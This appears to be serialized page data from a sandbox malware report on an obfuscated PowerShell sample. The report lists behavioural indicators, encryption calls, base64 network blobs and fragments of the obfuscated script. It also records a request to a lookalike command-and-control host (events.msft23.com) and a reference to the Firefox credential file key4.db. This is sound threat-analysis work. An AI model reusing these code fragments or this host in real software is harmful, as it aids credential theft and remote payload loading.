21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 55:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T456,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample efbf87447d93… — Score 85/100 — Hybrid Analysis","description":"Malicious verdict for sample efbf87447d93…. Threat score 85/100. 0/27 AV engines flagged this file. 1 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/efbf87447d93f4232b1169920f75c2066d19863ebc28fb2d2662353dc4ef61d8","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","efbf87447d93f4232b1169920f75c2066d19863ebc28fb2d2662353dc4ef61d8"],"about":{"@type":"SoftwareApplication","name":"efbf87447d93f4232b1169920f75c2066d19863ebc28fb2d2662353dc4ef61d8.bin","applicationCategory":["powershell","ps"],"identifier":"efbf87447d93f4232b1169920f75c2066d19863ebc28fb2d2662353dc4ef61d8","additionalType":"Malicious sample"},"threatScore":85,"antivirusDetections":{"malicious":0,"total":27},"behavioralIndicators":{"malicious":1,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T7f4,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23:Td90,"powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006528-00000C17-1158999110 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006528-00000C17-1159017563 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006528-00000C17-1159021918 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006528-00000C17-1162563115 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006528-00000C17-1163230739 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006528-00000C17-1163306179 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006528-00000C17-1163767169 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006528-00000C17-1164063710 "powershell.exe" queries volume information of "C:\share" at 00000000-00006528-00000C17-1164065406 "powershell.exe" queries volume information of "C:\share" at 00000000-00006528-00000C17-1164146848 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006528-00000C17-1165570849 "powershell.exe" queries volume information of "C:\share" at 00000000-00006528-00000C17-1165572105 "powershell.exe" queries volume information of "C:\share" at 00000000-00006528-00000C17-1165598679 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006528-00000C17-1165863350 "powershell.exe" queries volume information of "C:\share" at 00000000-00006528-00000C17-1165864592 "powershell.exe" queries volume information of "C:\share" at 00000000-00006528-00000C17-1165882591 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll" at 00000000-00006528-00000C17-1169939952 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll" at 00000000-00006528-00000C17-1171487091 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006528-00000C17-1172703689 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll" at 00000000-00006528-00000C17-1172870460 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll" at 00000000-00006528-00000C17-1172885424 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll" at 00000000-00006528-00000C17-117540994824:T1115,Pattern match: "http://go.microsoft.com/fwlink/?linkid=533240" Heuristic match: "events.msft23.com" Heuristic match: "get /run/dig1bxo3 http/1.1user-agent: mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248host: events.msft23.com" Heuristic match: "mt7263.com" Heuristic match: "%windir%\assembly\nativeimages_v4.0.30319_64\microsoft.we0722664#\c9e6fffb702bc70119a9d34087936a84\microsoft.wsman.management.ni" Pattern match: "https://events.msft23.com/run/dig1bxo3nel" Pattern match: "https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523" Heuristic match: "dmcu -split s6wrrnmdmcu)[3])) + 5525 - 6498 - 7267 - (13511 % 11287) ) * 5+ 11447$gk9smxgnw7peqtmrf7p0 = $y1ichojnmgzq2f + 484$ikgnbzccb0ogq = $gk9smxgnw7peqtmrf7p0 + 4363 + 344 - 8664 - 6179 + 5385 + 13100$efaqiowsjdelsww = $ikgnbzccb0ogq + $([system.c" Heuristic match: "marshalasattribute].getfield((ergz0mxuy5zi3bqtzfnnn9tgg7byk7rfzeconst.trimstart(ergz0mxuy5z).remove(1, 20).insert(0, s))))} else {$vyjtxrhk9htkxm4z = 297$kwjkm2iuvwfw7 = $vyjtxrhk9htkxm4z - 4805$z8abcurv7qinkbdthjmiqtv = $kwjkm2iuvwfw7 + 1104;$awrsn9" Heuristic match: "vc6xyshmeqaonqmwwositaqnj8.insert(37, ta).replace(vc6xyshmeqaonqmwwositaq, j).remove(2, 16).substring(12, 13)), [uint32], (publicvctx5rvucxg0zqhhlelxfd9tvapxnkibbdgyotowkjjbbqjc.remove(36, 17).remove(5, 15).remove(5, 16))) | . (z3bxl7zq2soqb50moh" Heuristic match: "16fv2qi -split q2rivq16fv2qi)[2])) + 3774 + 9935 - 2787 - 2978 + 6752 + 9968 - 2152 - 5533 + 1692 + -24663) {$vhx2stk5ejozwmmyy5vtx = (d0vxfuwjhj1aakad.replace(uwjhj1aaka, sc3zjtl3ot948vmuxdkgfm9kryl2).replace(3zjtl3ot948vmuxdkg, aanmkjr6jpq1f0" Heuristic match: "raokk0dbahuf2awe2syinvoke fail - lahgjnu1fps.replace(aokk0dbahuf2awe2sy, ch ).remove(26, 14).substring(24, 28)) + $_.exception.message; heyxhkpqodscqyltv $lpkm5przj5rdduhkibxx8p; } return $tf5whq2f2iptj}function raynxkpdielfoh62($mhzsbt4w" Heuristic match: "2 + 5342 - 5753 - 3589 - 653 - 8636 + 9818 - 8644 + 7855 ) * 14+ -272338], ol5wrjgz867gpufevgrfhqpe3).trimend(pe37rh9jjrcssr).trimend(rjgz867gpufevgrfhq))$kb6gdvm96xeqp = u6aaskcnmjvo2kcodsbw;} elseif (7206 - 1557 + 2397 + $([system.convert]::toint" Heuristic match: "-split stt4lgmyqygtg5he)[6970 + 4471 + (16577 % 12057) - 1513 - 279 - 4097 + 2049 + 2538 - 4351 - $([int]((7188n0i433jy05jn43213n0i433jy05jn41963n0i433jy05jn43255n0i433jy05jn41049n0i433jy05jn4 -split -join (n, 0i, 433, j, y0, 5j, n4))[1])" Heuristic match: "pgjfktrednxc6wifepdisunmyfnghxmjp2i1ecdpfepdisunmyfnghxmjpztdmh9dnvafepdisunmyfnghxmjpf9srthuoi32oe56ksgtfepdisunmyfnghxmjp -split fepdisunmyfnghxmjp)[5365 + 1165 - 3298 - 1649 - 5953 - 7399 - 1648 + 5846 + 7499 - 5583 - 8183 - 8177 + 22020])[3])) + 302" Heuristic match: "pbxgxe8tjtdbnsb3cit4ekidpyr67lofrjeupivq9lit4ekidpyr67lof -split it4ekidpyr67lof)[((3191 - 7395 + 9097 - 7930 + 7426 - 233 ) * 10+ 830 + 460 + 3535 ) * (8291 % 8286)+ 5175 + -237099], t).trim((q4b3ieb1fn3ggoobxdgf3bc6ej0eckvuq7bph5ivxw1dzhrzuxze0ry6e" Heuristic match: "8ghgo5nzh = (omtcfxbbkxtjsudq33a88bp9stljfvfgwptkkydp0z2qewwrssvoeswhbvqd9t6xq1yu6mlesr0wlbynwprz432qivrgsjrk1gbcs1yycitvbnh.remove(58, 23).substring(14, 50).remove(12, 13).trim(z2qewwrssvoeswhbvprz432))$bmikcarqy0dz0b5npmrea = $f7xv5ziwe8ghgo5nzh + (" Heuristic match: "eh, p7v, ae5, ib6t, 7, ttc)).replace(bbrwjbrxat, vmnqgeecrpevmwcrzfkq6pu6w2tx3e).trim(g7cwoaqojpj).remove(7, 12).trimend(-join (llib, fm, n, li, ejh, i, lfz)).remove(1, 24)) -gt (sh1gk5wjikk3sszeffzdhqppsthirqwgeatkv2lgpzn4g" Heuristic match: "toijqkyqmar0re69t6eccrd5hmzwym2.remove(37, 14).trim((8ws1nodr8lbsapwo8zhcauyngz1joar4h1rve3nek6pmuzm7yknzxu9uyjmyo8zhcauyngz1joar4h1rve3nmmz1eelctn3gdwpi8jvml3o8zhcauyngz1joar4h1rve3n6qxv5kr4toz8y87budzzlpo8zhcauyngz1joar4h1rve3ndyclphh9dmmpkdqzz20o8zhca" Heuristic match: "woadqm8nu8ixsxozuk2zsuy5uzbjxadqm8nu8ixsxodkn2qis2n8nobekawcbmeadqm8nu8ixsxo -split adqm8nu8ixsxo)[8184 + 7670 + 1833 + 926 + 1427 + 7795 - 1145 - 7260 + -19428], p)) $evhxjtkclpnxph) { $kppjfcch9shg = (& (ocgl4agvtm95b5coget-imzbazyllm7tud" Heuristic match: "9thnukf9uqlua9zaocajvtxutyfuk1ioemihukf9uqlua9zaocajvybc5rqgxns7m6ovkzvukf9uqlua9zaocajvwi6qvfzlemmkiukf9uqlua9zaocajvnmbiojgb6bmtqriozsukf9uqlua9zaocajvvyvdp2mxrihmx1kzcgzycqyukf9uqlua9zaocajv4sg30eryqowjqrjzvcnbxy5ukf9uqlua9zaocajv -split ukf9uqlua9zao"25:T61a,Contains base64 encoded string "qf35o/osN+e/esuoKJwMQOZDNQ7U4fXtCKrV+kVLY9/j7IKVmp9hsOYHRqt+5yrI756PfGyanYZLjpxONPZ5eegtvmYI+iBvX7+VpHDY26ytMylbebxQfBqHs92GJBktNC27lABQYNG14AWNh9BN2guQWARUB6DA6edvYOqqECee5zmbQDcFwaHl+XF390Ww7RQTZPf1Pg/bhGG3Pt3WwQV45H9LTRxO9BYf3/l05ivMTJGLeLvjqqfHdMAKm5iqM/vfQUTLdcFhSQARw7saCtGdQZQOWP3fj8V8BBwe8MrPH6H0jCUU4mNUkN3DcmN0frzUWmnsl6UTw38Q2+Faod4u/G0WVizSrqXSqXW9K7QU5hm30Xzjlp1jhREFpk4WF/TZWaFFAlytm3LVQk1FX6UmrsY2EOapyTZbLqdr2z1RdMSwnq1h8M0im9SFf1aQGP9UBGLrDbmf2l1Wv5J5VKpl4N5VJKNv0dC5sP5xI6mB5hh0dKc0UmRLDFzxbLE4Ugz1fMEVLtX3kB8+8WQC/OfSFP0bYSyl6EfZ1OejYMOESzsyvlfuQrC2ESia1BZabjpFXRCok6BTIuFy7HNo3hJ/cwURLq1uXli2JWyuLJpiC0coGZf+DGUr62cuMKAS5RVAvs+FtxEfiWAKrVilVQu3blAzo94MABXvWDGUcqHvjOp0+AavN8Kqch8FPtGixlilTO7/RNmHiCR9bN1FkQeeU3a8LA3054opGgE1ulMTMEaFDmOH+D6G7CjwoBVAXCIh75xP0V64pArInyv0kwFVHgvBt/g4hFuaJOhWE9uzlDgbwSyogcm0VrArSYt1c7hcM8lIwieenRN4D9v1VHXLm5EORDV8879MDYUKEzHlM+TN/vu6W8bU7ie5j3tciWL7vspQY7dJxUVuPms9ShAFhvDSj1MrV1HuwCxnuEokdbGik/8Zq9Bl9g6bRpJnV/0NQY7vhGFdorTFqy/RCV1e0DBZmD/GmphGEyNndBLv/LX2W0Uvjrrsx+3/jfSJpaGifKUGKTte72a6TlI3JdcNmrhOrzWW77x4z0hDIo/OH7sXUOX8tGUbWtKt3Ytx8TNlYCApmTjr9se+Dm3hcg==" in [Source : PCAP] Contains base64 encoded string "Mbukv44BkcHD4jdXSijcJrVrSTorB4GRR+RGwSWZOBUDSQT6CW96kjEtlZmHSr0Vuk2AOJQZ759e4vAgcLdG+YBB7Axr1F6dAbAyHwWUx3clpLMe6MMGT60R/yXM5IlhhYHCbEreMV1uqw8iKY/6W2xHkT6gOTZU/HwhOpjen9UuhGr+55IHzP5WKMST4nRtoy+bT261WwRbEeXhcQ66jVzVWgqFMykSqvsCRHaaElGsG78c9TneoFklQu+HU8gYn213pPEuMZzYJuNw30Jx63GiT4SVKIqGRaJD/BGEiHzr3pVvwFfijwGGcsAJgJiStR5v/OiWPi/Kz1B14GVJ/g==" in [Source : PCAP]26:T437,Found string "eQmWkkZnxA".Replace("44Ed9pVbHeJcwMd7k", "X9LFzACnXDTb6fkO7X5d").Substring(18, 57).Substring(17, 22).Replace("ZMB8UAjKSxqdWn3", "ins.")) ("YqmxDqbfwIFBfbU5Yikey4.dbEz1TgrqRWrXCaiBq8IEpqwv0tlkGHHyohW6GJ3fUpXTHJHoYKZpUEtM3xCnUxb6sPvvQbH".Replace(("XfLB149YZOT5Wrsf9TOQl6AKgxnopY8eoUUvd8AtM3xCnUxb6sPvvl6AKgxnopY8eoUUvd8Ah4BoAOhRkzlbaCY1QREHl6AKgxnopY8eoUUvd8APtZlerEkl3RMl6AKgxnopY8eoUUvd8A" -split "l6AKgxnopY8eoUUvd8A")[9655 - 2561 + $([int](("1837P6TiugTscOzRt2774P6TiugTscOzRt4757P6TiugTscOzRt1291P6TiugTscOzRt7540P6TiugTscOzRt" -split -join ("P6", "Tiu", "g", "T", "s", "cO", "z", "Rt"))[1])) - 8620 + 4001 + -5248] "BWg2Iuqpj2Fy").Trim("g2Iuqpj2FyQbH").Replace(("xev0cX1FQEdQW1kqj17QtXpb5Ag6XAvwEVIdv51y0Ac8MWPmfsO2QxWwAHVvPXpb5Ag6XAvwEVIdv51FjREmyYBuFMXpb5Ag6XAvwEVIdv51C64QoyIlGSDXpb5Ag6XAvwEVIdv51AhbObKQh0mmQWSK2afXpb5Ag6XAvwEVIdv51pXTHJHoYKZpUEXpb5Ag6XAvwEVIdv51kYxBZaYioMC0aNwkxUXpb5Ag6XAvwEVIdv51" -split "Xpb5Ag6XAvwEVIdv51")[2749 + 1813 + $([int](("605h3CnpIsHEiV8247h3CnpIsHEiV5709h3CnpIsHEiV7893h3CnpIsHEiV"" (Indicator: "key4.db"; in File: "AMSI")27:Tb34,"powershell.exe" called "CryptEncrypt" with parameters {"hKey": "1c3f98af970" "Final": "0" "dwFlags": "0" "pbData": "a9fdf9a3fa2c37e7bf7acba8289c0c40e643350ed4e1f5ed08aad5fa454b63dfe3ec82959a9f61b0e60746ab7ee72ac8ef9e8f7c6c9a9d864b8e9c4e34f67979e82dbe6608fa206f5fbf95a470d8dbacad33295b79bc507c1a87b3dd8624192d342dbb94005060d1b5e0058d87d04dda0b9058045407a0c0e9e76f60eaaa10279ee7399b403705c1a1e5f97177f745b0ed141364f7f53e0fdb8461b73eddd6c10578e47f4b4d1c4ef4161fdff974e62bcc4c918b78bbe3aaa7c774c00a9b98aa33fbdf4144cb75c161490011c3bb1a0ad19d41940e58fddf8fc57c041c1ef0cacf1fa1f48c2514e2635490ddc37263747ebcd45a69ec97a513c37f10dbe15aa1de2efc6d16562cd2aea5d2a975bd2bb414e619b7d17ce3969d63851105a64e1617f4d959a145025cad9b72d5424d455fa526aec63610e6a9c9365b2ea76bdb3d5174c4b09ead61f0cd229bd4857f569018ff540462eb0db99fda5d56bf927954aa65e0de5524a36fd1d0b9b0fe7123a981e6187474a73452644b0c5cf16cb138520cf57cc1152ed5f7901f3ef16402fce7d214fd1b612ca5e847d9d4e7a360c3844b3b32be57ee42b0b611289ad4165a6e3a455d10a893a05322e172ec7368de127f7305112ead6e5e58b6256cae2c9a620b47281997fe0c652beb672e30a012e51540becf85b7111f89600aad58a5550bb76e5033a3de0c0015ef58319472a1ef8cea74f806af37c2aa721f053ed1a2c658a54ceeff44d98788247d6cdd4591079e5376bc2c0df4e78a291a0135ba53133046850e6387f83e86ec28f0a015405c2221ef9c4fd15eb8a40ac89f2bf49301551e0bc1b7f838845b9a24e85613dbb394381bc12ca881c9b456b02b498b7573b85c33c948c2279e9d13780fdbf55475cb9b910e44357cf3bf4c0d850a1331e533e4cdfefbba5bc6d4ee27b98f7b5c8962fbbeca5063b749c5456e3e6b3d4a100586f0d28f532b5751eec02c67b84a2475b1a293ff19abd065f60e9b46926757fd0d418eef84615da2b4c5ab2fd1095d5ed03059983fc69a98461323677412effcb5f65b452f8ebaecc7edff8df489a5a1a27ca506293b5eef66ba4e523725d70d9ab84eaf3596efbc78cf4843228fce1fbb1750e5fcb4651b5ad2addd8b71f133656020299938ebf6c7be0e6de172" "pdwDataLen": "40030000" "dwBufLen": "832"} "powershell.exe" called "CryptEncrypt" with parameters {"hKey": "1c3f98af970" "Final": "1" "dwFlags": "0" "pbData": "26846ec244ce8542dd444e5a7ecae2ff" "pdwDataLen": "10000000" "dwBufLen": "16"} "powershell.exe" called "CryptEncrypt" with parameters {"hKey": "1c3f92f41a0" "Final": "1" "dwFlags": "64" "pdwDataLen": "00010000" "dwBufLen": "48"} "powershell.exe" called "CryptEncrypt" with parameters {"hKey": "1c3f92f41a0" "Final": "1" "dwFlags": "64" "pbData": "fe4965e07550cfca2f3e96e8fc6f1eb592988009c07286018fe257c06f95deeb7c888411fc43a245868a2895844fa271eb7142df70e326d89c312ef1a4776d9f18c85387ef422559a0de39f51cbf1bac51129a764402fbaa122933850a5ad55c8dba0e71e1e5115b045bb56e4f9b2fa36d74e293c42856fecc0792e7fe6a842ed59fde983a217cfc543639a03e91476c5bfa8f29220fab6e5d31de4a6cc281856189e4cc25ff11ad4f06c3e81eb3a42577c794051f32b0019d5ed46b0cec4180f946b77020f0e25e9fef199438804dba15bd4a8799952d31927a6f09fa04490315389925c146e4479181072b3a496bb526dc284a5737e2c3c191018ebfa4bb31" "pdwDataLen": "00010000" "dwBufLen": "256"}28:T155e,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\webengine4.dll" - [base:0; Status:c0000135]29:T48a,"powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YZLRSJE303MEY16WCWDC.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF20e785.TMP" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\YZLRSJE303MEY16WCWDC.temp" "powershell.exe" touched file 